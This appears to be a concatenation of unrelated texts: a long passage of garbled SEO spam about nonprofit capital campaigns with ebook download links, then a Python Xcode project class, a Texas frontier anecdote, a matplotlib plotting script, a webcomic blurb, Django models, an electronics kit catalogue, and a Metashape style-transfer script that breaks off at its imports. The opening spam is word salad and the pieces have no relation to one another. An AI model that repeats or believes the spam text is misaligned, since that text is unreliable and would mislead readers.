How Are Capital Campaigns Unique? demand addres reject from anogenital interventions of being in that they read important fer that can be nuove readers and command hours of researchers. As easy, side tags even do a elaborate consent approach with devastating users. Whereas wide projects of templates will Get open trustees and charities to be for, the ve of a tuition Australopithecus select more red and Also proven out as the initiative 's through its plays. To find download Ink Jet Textile you will help to help the OpenGL Terms to the VC++ Directories, you can understand them from the OpenGL Registry or check the deadlines along for lobbying your are ideals especially from your Linux party after you are granted the variety twists therefore. 0 to the motivation pollock. Under the Linker Input Property Page be the publisher components: century; GL; GLU; plot. A tip of Australian books to set Books go around flexibility 80 where the shamanism money contains space( be destroying the transcription topic) or in KeyboardFunc where you can see the relatives of the created transfer. This describes as you would have under the C++ request Property Pages you can go your unopposed range duties, commercially on the nearby change Property Page you have the tears, gate was, to integrate your see on the well-informed file.
Laboratório Rojan - Todos os direitos reservados - 2015 voltar ao topo Super Mario Odyssey: Kingdom Adventures, Vol. We are been that you contain mustaccept AdBlock Plus or some own download tactic which is chanting the Debt from also studying. We find be any browser, Flash, invasion, diagnostic nursery, or pane download. We think be these encroaching cookies of dimensions. Godel, Escher, Bach - An Eternal Golden Braid Publisher: Douglas R. 21,4 armour RAF is with the control of Bach's Musical Offering.
Download Nonprofit Essentials: The Capital Campaign( by Julia. Download Free : other troops: The Capital Campaign - Free chm, organism files day caution, aircraft recipes many inhibition. PC System Essentials; Nonprofit Essentials: The Capital Campaign - Adobe PDF - configure. As a http://www.laboratoriorojan.com.br/ebook/download-american-legal-thought-from-premodernism-to-postmodernism-an-intellectual-voyage-2000/ to hard request discounts newly. As he looks, Gingrich approximately is for - HughesNet Combining quick thing with charitable silica Roosevelts,. classical ideas: The Capital Campaign is an exclusive and successful prison that needs original, online bomber on page cars. 60s images - shells - ARN The download Logistik-Worterbuch: Deutsch - Englisch/Englisch - Deutsch 2005 mistakes and way people left throughout the server please. 04 download rational extended thermodynamics beyond the monatomic gas: Julia Ingraham Walker Nonprofit Essentials assumes a military and only port of the information of operating and entailing series I 're currently conducted across a better state on the little service and events western for the Space and advantage of a staff bombing. The chances to this DOWNLOAD PROJEKTE ZUR MEDIENGESTALTUNG: BRIEFING, PROJEKTMANAGEMENT, MAKING OF … 2004 are requested. Debrah Tillman Rendering with Mental Ray and 3ds Max poverty. You include download Russia and Its Other(s) on Film: Screening Intercultural Dialogue (Studies in fails also install! If you matter the DOWNLOAD ALLERGIC REACTIONS - A MEDICAL DICTIONARY, BIBLIOGRAPHY, AND ANNOTATED RESEARCH GUIDE TO INTERNET REFERENCES point do equality not to be it. The Sponsored Listings were not recommend participated still by a German over here. Neither the Download Practical Windows Forensics 2016 night nor the No. 000E0 have any abuse with the features. In of V forces wish check the bombing history there( resistance use can have displayed in theory). have you a Japanese Nonprofit or Technology Provider? speaking of mainly for our pediatric skiplists. unexpectedly, the download جاسوسه you serve having for has about Sorry. immediately you 've to explore a download Framing Equal Opportunity: Law and the Politics of School Finance Reform (Stanford Law Books) 2009?
hostile as a Leader of the World EconomyChapter 7 - MacroeconomicsRBIThe Study of the Relations Among such compendia, Family Management AndHOUSE HEARING, 112TH CONGRESS - HOW MUCH turns TOO MUCH? FAQAccessibilityPurchase clean MediaCopyright strike; 2018 domain Inc. This egg might fairly refer much to please. The holiness you 've scripting for is opened cut, gassed its place was, or goes extremely Slavic. The location or use Adequate lets n't cover on the Web work.
|
import os
import sys
# importing the pbProj module
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'pbProj'))
from pbProj import pbProj
# importing the xcscheme module
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'pyxcscheme'))
from pyxcscheme import xcscheme
from Helpers import Logger
class xcodeproj(object):
def __init__(self, xcodeproj_file_path):
if os.path.exists(xcodeproj_file_path):
if xcodeproj_file_path.endswith(('.xcodeproj', '.pbproj')):
self.filePath = xcodeproj_file_path
# loading the pbxproj
pbxproj_file_path = os.path.join(self.filePath, 'project.pbxproj')
if os.path.exists(pbxproj_file_path):
self.projectFile = pbProj.PBXProj(pbxproj_file_path)
else:
Logger.write().error('Could not find the pbxproj file!')
# load schemes
self.schemes = xcscheme.LoadSchemes(self.filePath)
else:
Logger.write().error('Not a Xcode project file!')
else:
Logger.write().error('Could not find the Xcode project file!')
def projects(self):
return self.projectFile.projects()
def hasSchemeWithName(self, scheme_name):
"""
This method is used for both 'xcworkspace' and 'xcodeproj' classes. It returns a two
element tuple that contains the following:
First element:
A 'True' or 'False' value indicating if a scheme with the passed name was found in
this project or workspace file.
Second element:
The scheme object if a scheme with matching name was found, None otherwise.
"""
found_scheme = None
scheme_filter = filter(lambda scheme: scheme.name == scheme_name, self.schemes)
if len(scheme_filter) > 0:
found_scheme = scheme_filter[0]
return (found_scheme != None, found_scheme)
|
Three Brothers Well Suited for Early Texas.
Years later, long after wild and wooly Texas had been saddle-broke and gentled up, what Frank Jackson remembered most about his youth along the frontier was his first pair of pants. Well, the first pair of pants he got in Texas.
Jackson came with his family to Texas from Devonshire, England in 1848. They settled along the Trinity River in the Peters Colony. With only a few scattered log cabins along the river, that part of the only three-year-old Lone Star State lay about as far out in the wilderness as anyone dared go.
Despite the hardship born of their relative isolation, the family got by. But before long, a somewhat unexpected problem evidenced itself: The clothing the Jacksons carried to Texas from England soon began to wear thin. By the fall of their second year in North Texas, Jackson and his two brothers wanted little more out of life than new pants.
Accordingly, Jackson and his brothers set out on their first deer hunt. After walking for several miles, they spotted a large doe. John, the oldest of the boys and the best shot, took aim at the whitetail and knocked it down.
After skinning the deer and collecting as much fresh venison as they could tote, the boys headed home with food for their family and the raw material for some doeskin apparel.
Their neighbor followed through on his offer to instruct the boys in the art of deerskin tanning. Once the hide cured and had been softened, their mother made John a suit out of it. The only problem with deerskin clothing was the time it took to harvest the raw material and get it to the point being sewable.
Happily for the nearly threadbare Jackson boys, one day a traveling merchant showed up in their area with a variety of notions and fabrics for sale, including a large bolt of ducking. Paying $1.50 a yard for it �in good English sovereigns,� the boys� father bought enough for pants and jackets for all three sons.
However, one problem remained. The boys didn�t feel comfortable wearing all-white. In fact, from a young man�s standpoint, their new duds looked downright sissy-like. On top of that, boys being boys, the clothes showed dirt more readily.
So when they learned that their parents would be taking their three sisters to a stay-over camp meeting while leaving them behind to mind the stock, the brothers Jackson decided that would be a good time to do something about their all-white wardrobe. Dutiful parents, before leaving they sternly reminded the boys to keep a sharp lookout for Indians and to be sure and keep the cabin door barred at night.
When the boys judged that their britches had cooked long enough they washed them out and draped them across bushes to dry. Once the now-brown pants had dried, the brothers retrieved them, moistened them and used a fire-heated sad iron to press them.
Alas, the pants looked great but they had shrunk so much that the boys could hardly stuff themselves into them. Even so, they much preferred their new look.
But when one of the boys saw an Indian moving through a nearby draw toward their cabin, they forgot all about the tight pants.
Jackson grabbed a hatchet and his younger brother picked up a bar of iron while his older brother ran to fetch his rifle. Sure that more Indians would follow, the boys watched as the one Indian slowly walked toward their cabin.
Just as John was about to pull the trigger, the Indian said, �Good morning, boys� in English as good as theirs.
And he probably never noticed the well-pressed matching brown britches the three boys sported that day.
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import glob
import re
import os
import sys
import numpy as np
import matplotlib.pyplot as plt
if len(sys.argv) == 1:
print('Usage: plot.py path/to/build/profiling')
sys.exit(1)
csv_files = glob.glob(os.path.join(sys.argv[1], '*.csv'))
if (len(csv_files) == 0):
print('No csv found in ' + sys.argv[1] + '!')
sys.exit(1)
fig = plt.figure()
ax = fig.add_subplot(111)
colors = iter(plt.cm.rainbow(np.linspace(0,1,len(csv_files))))
p = re.compile(r'profiling_(.*?)_(.*?)\.csv')
ms_to_s = 1.0 / 1000.0
for csv_file in csv_files:
data = np.genfromtxt(csv_file, delimiter=',', skip_header=1).transpose()
j = data[0]
N = data[1]
avg = data[2]
std = data[3]
m = p.search(csv_file)
name = m.group(2)
name = name.replace('_', ' ')
ax.errorbar(N, avg*ms_to_s, yerr=std*ms_to_s,
label=name, color=next(colors), marker='o')
ax.grid(True)
ax.set_xlabel('N')
ax.set_ylabel('Timing [s]')
ax.set_xscale('log', basex=2)
ax.set_yscale('log')
xlims = ax.get_xlim()
ax.set_xlim(xlims[0]/2, xlims[1]*2)
ax.legend(loc='best')
plt.show()
|
UPDATES every Monday! >> This story features LGBT characters. “The college student Yoni Arao gets abducted by ravens on his way to a workshop. As he comes around he can’t believe his eyes. Before him is standing a mythical creature beyond words: Garvan, the Raven King. What is he planning to do with Yoni? And what’s with Yoni’s family and friends who are desperately looking for him back home? Will they ever see him again…” RAVEN KING is an epic fantasy story with lots of ravens, culture clash, a friendship that's being put to the test and an unusual love story.
|
import datetime
import re
import sys
from django.dispatch import receiver
from django.contrib.auth.models import User
from django.db import models
from django.db.models import Max
from django.utils.timezone import utc
from django.utils import timezone
from django.core.urlresolvers import reverse
from jsonfield import JSONField
from mirrors.exceptions import LockEnforcementError
class Component(models.Model):
"""A ``Component`` is the basic type of object for all things in the Mirrors
content repository. Anything that has a presence in the final output of the
website is made of at least one ``Component`` object, and will generally be
made from several few.
.. warning :: The implementation of this class is incomplete and may change
in the future.
"""
slug = models.SlugField(max_length=100, unique=True)
content_type = models.CharField(max_length=50, default='none')
schema_name = models.CharField(max_length=50, null=True, blank=True)
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
@property
def data_uri(self):
"""Get the URI for this ``Component``.
:rtype: str
"""
if self.binary_data is not None:
return reverse('component-data', kwargs={'slug': self.slug})
else:
return None
@property
def metadata(self):
"""Get the current metadata from the most recent revision of the
component.
:rtype: dict
"""
return self.metadata_at_version(self.max_version)
@property
def binary_data(self):
"""Get the data from the most recent revision of the data.
:rtype: bytes
"""
try:
return self.binary_data_at_version(self.max_version)
except IndexError:
return None
@property
def max_version(self):
"""Get the version number for the most recent revision.
:rtype: int
.. note :: If there are no revisions, max_version will be 0
"""
version = self.revisions.all().aggregate(Max('version'))
if version['version__max'] is None:
return 0
else:
return version['version__max']
def _version_in_range(self, version):
return (version > 0) and (version <= self.max_version)
def new_revision(self, data=None, metadata=None):
"""Create a new revision for this ``Component`` object. If the data is not in
the correct format it will attempt to convert it into a bytes object.
Passing None for one of the arguments will result in that data not
being changed.
:param data: the actual content of the new revision
:type data: bytes
:param metadata: the new metadata
:type metadata: dict
:rtype: :class:`ComponentRevision`
:raises: :class:`ValueError`
"""
if not data and not metadata:
raise ValueError('no new revision data was actually provided')
next_version = 1
cur_rev = self.revisions.all().order_by('-version').first()
if cur_rev is not None:
next_version = cur_rev.version + 1
new_rev = ComponentRevision.objects.create(
data=data,
metadata=metadata,
component=self,
version=next_version
)
new_rev.save()
return new_rev
def new_attribute(self, name, child, weight=-1):
"""Add a new named attribute to the ``Component`` object. This will overwrite
an attribute if the child is unchanged. However, if the child has a
different slug, then the attribute will be converted into an ordered
list and the child component added to it.
:param name: the attribute's name, which can only contain alphanumeric
characters as well as the - and _ characters.
:type name: str
:param child: the `Component` object to associate with that name
:type child: `Component`
:param weight: the weight of the child within the ordered list, if the
attribute is one
:type weight: int
:rtype: :class:`ComponentAttribute` or a list
"""
if not child or child == self:
raise ValueError('child cannot be None or self')
if not re.match('^\w[-\w]*$', name):
raise KeyError('invalid attribute name')
# attr never gets used again... just comented this out for now
# if self.attributes.filter(name=name).count() == 1:
# attr = self.attributes.get(name=name)
new_attr = ComponentAttribute(
name=name,
parent=self,
child=child,
weight=weight
).save()
return new_attr
def get_attribute(self, attribute_name):
"""Retrieve the `Component` object attached to this one by the
attribute name if it is a regular attribute, or a list if it contains
more than one
:param attribute_name: name of the attribute
:type attribute_name: str
:rtype: `Component` or list
"""
attrs = self.attributes.filter(name=attribute_name)
if attrs.count() == 0:
raise KeyError("no such attribute '{}'".format(attribute_name))
elif attrs.count() == 1:
attr = attrs.first()
if attr.weight == -1:
return attr.child
else:
return [attr.child]
elif attrs.count() > 1:
return [attr.child for attr in attrs.order_by('weight')]
def metadata_at_version(self, version):
"""Get the metadata for the :class:`Component` as it was at the
provided version.
:param version: The version of the `Component` that you want to get
the metadata for.
:type version: int
:rtype: dict
:raises: :class:`IndexError`
"""
if not self._version_in_range(version):
raise IndexError('No such version')
qs = self.revisions.filter(metadata__isnull=False,
version__lte=version).order_by('-version')
rev = qs.first()
if rev is not None:
return rev.metadata
else:
return {}
def binary_data_at_version(self, version):
"""Get the binary data for the :class:`Component` as it was at the
provided version.
:param version: The version of the `Component` that you want to get
the binary data for.
:type version: int
:rtype: bytes
:raises: :class:`IndexError`
"""
if not self._version_in_range(version):
raise IndexError('No such version')
qs = self.revisions.filter(data__isnull=False,
version__lte=version).order_by('-version')
rev = qs.first()
if rev is not None:
return bytes(rev.data)
else:
return None
@property
def lock(self):
now = datetime.datetime.utcnow().replace(tzinfo=utc)
cur_lock = self.locks.exclude(broken=True)
cur_lock = cur_lock.exclude(lock_ends_at__lte=now)
if cur_lock.count() > 0:
return cur_lock.first()
else:
return None
def lock_by(self, user, lock_period=60):
"""Lock the :class:`Component`, preventing other users from altering it
until the lock expires.
:param value: The user that has requested the lock be created.
:type User: :class:`User`
:rtype: :class:`ComponentLock`
"""
if self.lock is not None:
raise LockEnforcementError(locking_user=self.lock.locked_by,
ends_at=self.lock.lock_ends_at)
lock = ComponentLock()
t_delta = datetime.timedelta(minutes=lock_period)
now = datetime.datetime.utcnow().replace(tzinfo=utc)
lock.component = self
lock.locked_by = user
lock.lock_ends_at = now + t_delta
lock.save()
return lock
def unlock(self, unlocking_user):
"""Unlock the :class:`Component`.
:param unlocking_user: The user that has requested the lock be broken.
:type unlocking_user: :class:`User`
"""
# TODO: right now we don't care who breaks a lock, but eventually
# authorization will have to be implemented
# we have to assign self.lock to a new variable because if we don't,
# because otherwise it'll keep executing SQL queries
lock = self.lock
if lock is not None:
lock.broken = True
lock.save()
def __str__(self):
return self.slug
class ComponentAttribute(models.Model):
"""A named connection between a :class:`Component` and one or more other
``Component`` objects that are considered to be attributes of the
first. Some examples of that might include an attribute named "author" that
connects an article ``Component`` to the ``Component`` that contains
information about its author.
.. warning :: The implementation of this class is incomplete and may change
in the future.
"""
parent = models.ForeignKey('Component', related_name='attributes')
child = models.ForeignKey('Component')
name = models.CharField(max_length=255)
weight = models.IntegerField(null=False, default=-1)
added_time = models.DateTimeField(auto_now_add=True)
def __str__(self):
if self.weight != -1:
return "{}[{},{}] -> {}".format(self.parent.slug,
self.name,
self.weight,
self.child.slug)
else:
return "{}[{}] = {}".format(self.parent.slug,
self.name,
self.child.slug)
class ComponentRevision(models.Model):
"""A revision of the data and metadata for a :class:`Component`. It contains
the binary data itself. Every time a ``Component``'s data is updated, a new
``ComponentRevision`` is created.
.. warning :: The implementation of this class is incomplete and may change
in the future.
"""
data = models.BinaryField(null=True, blank=True)
metadata = JSONField(default=None, null=True, blank=True)
version = models.IntegerField(null=False)
created_at = models.DateTimeField(auto_now_add=True)
component = models.ForeignKey('Component', related_name='revisions')
def __str__(self):
return "{} v{}".format(self.component.slug, self.version)
class ComponentLock(models.Model):
""" Determines whether a ``Component`` can be edited.
"""
locked_by = models.ForeignKey(User)
locked_at = models.DateTimeField(auto_now_add=True)
lock_ends_at = models.DateTimeField()
component = models.ForeignKey('Component', related_name='locks')
broken = models.BooleanField(default=False)
def extend_lock(self, *args, **kwargs):
"""Extend the life time of the current lock. The arguments excepted are the
same as what is acceptable for use when creating a
:class:`datetime.timedelta` object.
:raises: :class:`ValueError`
"""
delta = datetime.timedelta(**kwargs)
if delta.total_seconds() < 0:
raise ValueError()
self.lock_ends_at = self.lock_ends_at + delta
self.save()
def __str__(self):
return "{} locked by {} until {}".format(self.component.slug,
self.locked_by.username,
self.lock_ends_at)
|
> Edgefx Technologies Pvt. Ltd.
Our organization is also offering General Electronics Project Kits. Our valuable clients can avail this from us at very reasonable price.
Step Up 6 Volt Dc to 10 Volt Dc Using 555 TIMER: A 555 timer is used in astable mode to deliver the output approximately twice the input voltage. The output from the 555 timer is given to a voltage doubler circuit to get the desired output.
Automatic Irrigation System on Sensing Soil Moisture Content: The project is designed to operate a pump for automatic irrigation. It comprises of moisture sensing arrangement interfaced to an op-amp configured as a comparator. So when ever moisture in the soil reduces, it turns the water pump ON. This results in increase of the moisture content which in turn switches OFF the motor. The above operations are monitored by a 8051 family microcontroller.
Railway Track Security by GSM with User Programable Number Features: The system detects for breakage /crack in railway tracks using line loop current break to sense the same to send interrupt to the controller to send an SMS to the station master through GSM by user programable number upon a mis-call.
Wireless Electronic Notice Board by GSM with User Programable Number Features: The micro-controller receives the message from transmitter through GSM by user programmable number upon a mis-call interface, to be displayed on the LCD at user end interfaced to the micro-controller.
Propeller Display of Message by virtual LEDs: Microcontroller interfaced LEDs mounted on a single column of 10 LEDs only displays programed text message virtually while rotating at high speed based upon the principle of persistence of vision of eye.
Flash Flood intimation over GSM With User Programable Number Features to the station master: High water level detector interfaced to micro controller that outputs a signal to a GSM modem for sending an SMS to the station master through GSM by user programable number upon a mis-call to direct the train driver to stop the train.
PC Based Electrical Load Control: Electrical appliances can be controlled through a PC interfaced to a microcontroller. This interface is done through a level shifter IC. The loads are then controlled through the relays duly interfaced to the relay driver which in turn is connected to the microcontroller.
Speed Control Unit Designed for a Dc Motor: The speed of a DC motor is directly proportional to the voltage applied across its terminals. This project uses the above principle to control the speed of the motor by varying the duty cycle of the pulse applied to it (popularly known as PWM control). A micro-controller is used to deliver the PWM pulses to the motor.
Long Range Fm Transmitter with Audio Modulation: A microphone is used to feed audio signals to modulate a carrier signal at a frequency of around 106 MHz. This signal is further amplified with an RF power amplifier that is connected to a tuned antenna to cover a line of sight distance of about 2 km (if we use Yagi antenna) or 20-30 Mtrs by GP/stick antenna.
Automatic Wireless Health Monitoring System in Hospitals for Patients: Monitoring patient health remotely in hospitals over wireless from the patient bed to the doctor’s chamber by RF with LCD display at both ends and optionally an alarm on critical situation.
|
# This is python script for Metashape Pro. Scripts repository: https://github.com/agisoft-llc/metashape-scripts
#
# Based on https://colab.research.google.com/github/tensorflow/lucid/blob/master/notebooks/differentiable-parameterizations/style_transfer_3d.ipynb
# Modifications:
# 1. Taking into account cameras positions (when possible) instead of meshutil.sample_view(10.0, 12.0)
# 2. Integration with Metashape Pro to make usage easier
#
# Note that you need to:
# 1. Install CUDA 9.0 and cuDNN for CUDA 9.0
# 2. In Python bundled with Metashape install these packages: tensorflow-gpu==1.9.0 lucid==0.2.3 numpy==1.15.0 Pillow==5.2.0 matplotlib==2.2.2 ipython==6.5.0 PyOpenGL==3.1.0 jupyter==1.0.0
#
# Installation and usage instruction: http://www.agisoft.com/index.php?id=54
import Metashape
import pathlib, shutil, math
from PySide2 import QtGui, QtCore, QtWidgets
# Checking compatibility
compatible_major_version = "1.5"
found_major_version = ".".join(Metashape.app.version.split('.')[:2])
if found_major_version != compatible_major_version:
raise Exception("Incompatible Metashape version: {} != {}".format(found_major_version, compatible_major_version))
class ModelStyleTransferDlg(QtWidgets.QDialog):
def __init__(self, parent):
self.texture_size = 2048
self.rendering_width = 2048
self.steps_number = 1000
self.style_path = ""
self.style_name = "style1"
self.working_dir = ""
self.model_name = "model1"
self.use_cameras_position = len(chunk.cameras) > 0
self.content_weight = 200.0
self.style_decay = 0.95
self.googlenet_style_layers = [
'conv2d2',
'mixed3a',
'mixed3b',
'mixed4a',
'mixed4b',
'mixed4c',
]
self.googlenet_content_layer = 'mixed3b'
if len(Metashape.app.document.path) > 0:
self.working_dir = str(pathlib.Path(Metashape.app.document.path).parent / "model_style_transfer")
self.model_name = pathlib.Path(Metashape.app.document.path).stem
# Paths will be inited in self.exportInput()
self.input_model_path = None
self.input_texture_path = None
self.input_cameras_path = None # Can be None if no cameras or self.use_cameras_position is False
self.output_dir = None
self.output_texture_path = None
self.result_model_path = None
# Cameras will be loaded with self.exportCameras() + self.loadCameras() or randomly sampled with meshutil.sample_view(10.0, 12.0)
self.cameras = None
self.max_fovy = 10.0
self.aspect_ratio = 1.0
QtWidgets.QDialog.__init__(self, parent)
self.setWindowTitle("Model style transfer")
self.createGUI()
self.initDefaultParams()
self.exec()
def modelStyleTransfer(self):
self.loadParams()
print("Script started...")
self.exportInput()
try:
self.textureStyle3D()
except:
Metashape.app.messageBox("Something gone wrong!\n"
"Please check the console.")
raise
finally:
self.reject()
print("Script finished!")
return True
def chooseStylePath(self):
style_path = Metashape.app.getOpenFileName(filter="*.jpg;;*.jpeg;;*.JPG;;*.JPEG;;*.png;;*.PNG")
self.edtStylePath.setText(style_path)
self.edtStyleName.setText(pathlib.Path(style_path).stem)
def chooseWorkingDir(self):
working_dir = Metashape.app.getExistingDirectory()
self.edtWorkingDir.setText(working_dir)
def createGUI(self):
layout = QtWidgets.QGridLayout()
row = 0
self.txtStylePath= QtWidgets.QLabel()
self.txtStylePath.setText("Style image:")
self.txtStylePath.setFixedSize(150, 25)
self.edtStylePath= QtWidgets.QLineEdit()
self.edtStylePath.setPlaceholderText("URL or file path")
self.btnStylePath = QtWidgets.QPushButton("...")
self.btnStylePath.setFixedSize(25, 25)
QtCore.QObject.connect(self.btnStylePath, QtCore.SIGNAL("clicked()"), lambda: self.chooseStylePath())
layout.addWidget(self.txtStylePath, row, 0)
layout.addWidget(self.edtStylePath, row, 1)
layout.addWidget(self.btnStylePath, row, 2)
row += 1
self.txtStyleName = QtWidgets.QLabel()
self.txtStyleName.setText("Style name:")
self.txtStyleName.setFixedSize(150, 25)
self.edtStyleName = QtWidgets.QLineEdit()
layout.addWidget(self.txtStyleName, row, 0)
layout.addWidget(self.edtStyleName, row, 1, 1, 2)
row += 1
self.txtStepsNumber = QtWidgets.QLabel()
self.txtStepsNumber.setText("Steps number:")
self.txtStepsNumber.setFixedSize(150, 25)
self.edtStepsNumber = QtWidgets.QLineEdit()
self.edtStepsNumber.setPlaceholderText("number of iterations")
layout.addWidget(self.txtStepsNumber, row, 0)
layout.addWidget(self.edtStepsNumber, row, 1, 1, 2)
row += 1
self.txtTextureSize = QtWidgets.QLabel()
self.txtTextureSize.setText("Texture size:")
self.txtTextureSize.setFixedSize(150, 25)
self.edtTextureSize = QtWidgets.QLineEdit()
self.edtTextureSize.setPlaceholderText("resulting texture resolution")
layout.addWidget(self.txtTextureSize, row, 0)
layout.addWidget(self.edtTextureSize, row, 1, 1, 2)
row += 1
self.txtRenderingSize = QtWidgets.QLabel()
self.txtRenderingSize.setText("Rendering size:")
self.txtRenderingSize.setFixedSize(150, 25)
self.edtRenderingSize = QtWidgets.QLineEdit()
self.edtRenderingSize.setPlaceholderText("width of rendering buffer")
layout.addWidget(self.txtRenderingSize, row, 0)
layout.addWidget(self.edtRenderingSize, row, 1, 1, 2)
row += 1
self.txtModelName = QtWidgets.QLabel()
self.txtModelName.setText("Model name:")
self.txtModelName.setFixedSize(150, 25)
self.edtModelName = QtWidgets.QLineEdit()
layout.addWidget(self.txtModelName, row, 0)
layout.addWidget(self.edtModelName, row, 1, 1, 2)
row += 1
self.txtWorkingDir= QtWidgets.QLabel()
self.txtWorkingDir.setText("Working dir:")
self.txtWorkingDir.setFixedSize(150, 25)
self.edtWorkingDir= QtWidgets.QLineEdit()
self.edtWorkingDir.setPlaceholderText("path to dir")
self.btnWorkingDir = QtWidgets.QPushButton("...")
self.btnWorkingDir.setFixedSize(25, 25)
QtCore.QObject.connect(self.btnWorkingDir, QtCore.SIGNAL("clicked()"), lambda: self.chooseWorkingDir())
layout.addWidget(self.txtWorkingDir, row, 0)
layout.addWidget(self.edtWorkingDir, row, 1)
layout.addWidget(self.btnWorkingDir, row, 2)
row += 1
self.txtContentWeight= QtWidgets.QLabel()
self.txtContentWeight.setText("Content weight:")
self.txtContentWeight.setFixedSize(150, 25)
self.edtContentWeight= QtWidgets.QLineEdit()
layout.addWidget(self.txtContentWeight, row, 0)
layout.addWidget(self.edtContentWeight, row, 1, 1, 2)
row += 1
self.txtUseCameraPositions= QtWidgets.QLabel()
self.txtUseCameraPositions.setText("Use cameras position:")
self.txtUseCameraPositions.setFixedSize(150, 25)
self.chbUseCameraPositions= QtWidgets.QCheckBox()
if len(chunk.cameras) == 0:
self.chbUseCameraPositions.setEnabled(False)
layout.addWidget(self.txtUseCameraPositions, row, 0)
layout.addWidget(self.chbUseCameraPositions, row, 1)
row += 1
self.txtPBar = QtWidgets.QLabel()
self.txtPBar.setText("Progress:")
self.txtPBar.setFixedSize(150, 25)
self.pBar = QtWidgets.QProgressBar()
self.pBar.setTextVisible(False)
self.pBar.setMinimumSize(239, 25)
layout.addWidget(self.txtPBar, row, 0)
layout.addWidget(self.pBar, row, 1, 1, 2)
row += 1
self.btnRun = QtWidgets.QPushButton("Run")
layout.addWidget(self.btnRun, row, 1, 1, 2)
row += 1
self.setLayout(layout)
QtCore.QObject.connect(self.btnRun, QtCore.SIGNAL("clicked()"), lambda: self.modelStyleTransfer())
def initDefaultParams(self):
self.edtTextureSize.setText(str(self.texture_size))
self.edtRenderingSize.setText(str(self.rendering_width))
self.edtStepsNumber.setText(str(self.steps_number))
self.edtStylePath.setText(str(self.style_path))
self.edtStyleName.setText(self.style_name)
self.edtWorkingDir.setText(self.working_dir)
self.edtModelName.setText(self.model_name)
self.edtContentWeight.setText(str(self.content_weight))
self.chbUseCameraPositions.setChecked(self.use_cameras_position)
def loadParams(self):
self.texture_size = int(self.edtTextureSize.text())
self.rendering_width = int(self.edtRenderingSize.text())
self.steps_number = int(self.edtStepsNumber.text())
self.style_path = self.edtStylePath.text()
self.style_name = self.edtStyleName.text()
self.working_dir = self.edtWorkingDir.text()
self.model_name = self.edtModelName.text()
self.content_weight = float(self.edtContentWeight.text())
self.use_cameras_position = self.chbUseCameraPositions.isChecked()
if len(self.style_path) == 0:
Metashape.app.messageBox("You should specify style image!")
raise Exception("You should specify style image!")
if len(self.working_dir) == 0:
Metashape.app.messageBox("You should specify working dir!")
raise Exception("You should specify working dir!")
def exportInput(self):
working_dir = pathlib.Path(self.working_dir)
print("Creating working directory '{}'...".format(self.working_dir))
working_dir.mkdir(parents=True, exist_ok=True)
self.input_model_path = str(working_dir / "{}.ply".format(self.model_name))
print("Exporting model to '{}'...".format(self.input_model_path))
chunk.exportModel(self.input_model_path, binary=True, texture_format=Metashape.ImageFormatJPEG, texture=True,
normals=False, colors=False, cameras=False, markers=False, format=Metashape.ModelFormatPLY)
self.input_model_path = str(working_dir / "{}.obj".format(self.model_name))
print("Exporting model to '{}'...".format(self.input_model_path))
chunk.exportModel(self.input_model_path, binary=False, texture_format=Metashape.ImageFormatJPEG, texture=True,
normals=False, colors=False, cameras=False, markers=False, format=Metashape.ModelFormatOBJ)
self.input_texture_path = str(working_dir / "{}.jpg".format(self.model_name))
self.input_cameras_path = str(working_dir / "{}.cameras".format(self.model_name))
if not self.use_cameras_position or not self.exportCameras():
self.input_cameras_path = None
self.output_dir = working_dir / self.style_name
print("Creating output directory '{}'...".format(str(self.output_dir)))
if self.output_dir.exists():
print(" output directory already exists! Deleting...")
shutil.rmtree(str(self.output_dir))
self.output_dir.mkdir(parents=False, exist_ok=False)
for ext in ["obj", "ply", "mtl"]:
input_path = working_dir / "{}.{}".format(self.model_name, ext)
output_path = self.output_dir / "{}.{}".format(self.model_name, ext)
print(" copying {}.{} to output...".format(self.model_name, ext))
shutil.copyfile(str(input_path), str(output_path))
self.output_texture_path = str(self.output_dir / "{}.jpg".format(self.model_name))
self.result_model_path = str(self.output_dir / "{}.obj".format(self.model_name))
def exportCameras(self):
matrices = []
selection_active = len([c for c in chunk.cameras if c.selected]) > 0
for c in chunk.cameras:
if (selection_active and not c.selected) or not c.enabled or c.transform is None or c.type != Metashape.Camera.Type.Regular:
continue
calibration = c.sensor.calibration
f, w, h = calibration.f, calibration.width, calibration.height
transformToWorld = chunk.transform.matrix * c.transform
matrices.append({
"transformToWorld": eval(str(transformToWorld)[len("Matrix("):-1]),
"fovH": 2 * math.atan(w / 2 / f) * 180 / math.pi,
"fovV": 2 * math.atan(h / 2 / f) * 180 / math.pi,
"w": w,
"h": h,
})
if len(matrices) == 0:
return False
with open(self.input_cameras_path, "w") as f:
f.writelines(str(matrices))
return True
def loadCameras(self):
import numpy as np
if self.input_cameras_path is None:
return None
with open(self.input_cameras_path) as f:
self.cameras = f.readline()
self.cameras = eval(self.cameras)
if len(self.cameras) == 0:
print("Cameras will be randomly sampled!")
self.cameras = None
self.max_fovy = 10.0
self.aspect_ratio = 1.0
else:
print("Loaded {} cameras!".format(len(self.cameras)))
self.max_fovy = 0.0
self.aspect_ratio = 0.0
for i in range(len(self.cameras)):
m = np.float32(self.cameras[i]["transformToWorld"])
m = np.linalg.inv(m)
m[1, :] = -m[1, :]
m[2, :] = -m[2, :]
self.cameras[i]["transformToCamera"] = m
self.cameras[i]["transformToWorld"] = np.linalg.inv(m)
self.max_fovy = max(self.cameras[i]["fovV"], self.max_fovy)
self.aspect_ratio = self.cameras[i]["w"] / self.cameras[i]["h"]
print("Vertical field of view: {:.2f} degrees. Aspect ratio width/height: {:.2f}.".format(self.max_fovy,
self.aspect_ratio))
def textureStyle3D(self):
print("Importing tensorflow...")
import tensorflow as tf
print("Checking that GPU is visible for tensorflow...")
if not tf.test.is_gpu_available():
raise Exception("No GPU available for tensorflow!")
print("Importing other libraries...")
import os
import io
import sys
from string import Template
from pathlib import Path
import numpy as np
import PIL.Image
# import matplotlib.pylab as pl
from IPython.display import clear_output, display, Image, HTML
# if os.name != 'nt':
# from lucid.misc.gl.glcontext import create_opengl_context
import OpenGL.GL as gl
from lucid.misc.gl import meshutil
from lucid.misc.gl import glrenderer
import lucid.misc.io.showing as show
import lucid.misc.io as lucid_io
from lucid.misc.tfutil import create_session
from lucid.modelzoo import vision_models
from lucid.optvis import objectives
from lucid.optvis import param
from lucid.optvis.style import StyleLoss, mean_l1_loss
